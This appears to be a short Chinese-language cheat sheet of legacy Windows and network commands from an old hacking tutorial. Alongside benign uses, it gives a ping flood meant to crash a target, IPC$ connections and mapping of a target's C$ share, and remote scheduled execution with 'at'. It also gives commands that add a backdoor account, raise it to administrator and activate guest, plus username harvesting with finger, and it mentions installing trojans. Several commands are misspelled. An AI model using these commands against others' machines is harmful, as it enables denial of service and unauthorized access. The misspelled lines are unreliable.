1】ping
用来测试网络是否建立连接，获取ip地址，也可以用来攻击
ping -l 65500 -t 127.0.0.0『对某个地址连续发送大小为65500大小的数据包，一直到它死机，对98使用较好
2】netstat -a
查看自己开的端口，常常用来手工查看是否中了木马，或者黑客程序
3】netstat -n
查看自己机器正在和哪些机器的哪个端口进行连接
4】ftp
文件传送协议命令，与对方机器连接后上传和下载文件
下载对方的东西的格式：
get *.* c:\
上传文件：
put c:\*.*
5】net use
1 ipc$连接
net use file://127.0.0.1/ipc$ "123" /user:"admin"
密码为123 用户名 admin
2 退出ipc$
net use \127.0.0.1\ips$ /delte
3 把对方的共享的文件夹映射
net use z: file://127.0.0.1/c$
6】net time
查看对方时间
net time file://127.0.0.1/
7】指定时间运行对方机器中的程序
at file://127.0.0.1/ 12:30 *.exe
8】telnet
与对方做远程连接
一般需要用户名和密码，你在它的机器安装了木马就简单了
telnet 【ip】 【端口】
9】net user
添加用户命令
net user netdemon 123 /add
添加一个用户名为netdemon密码为123的用户
激活guest
netuser guest /active:yes
10】提升权限
ner localgroup administrators netdemon /add
把netdemon提升为管理员
11】net start
查看机器开放的服务
可以启动服务
net start telnet
启动telnet服务
12】net stop
停止服务
net stop telnet
用来关闭服务
13】iisreset /reboot
重启机器2k
14】finger
查看对方最近有那些用户登陆用来得到对方的用户名
figer username @host
15】ipconfig
查机器有多少网卡：查看本机器ip地址
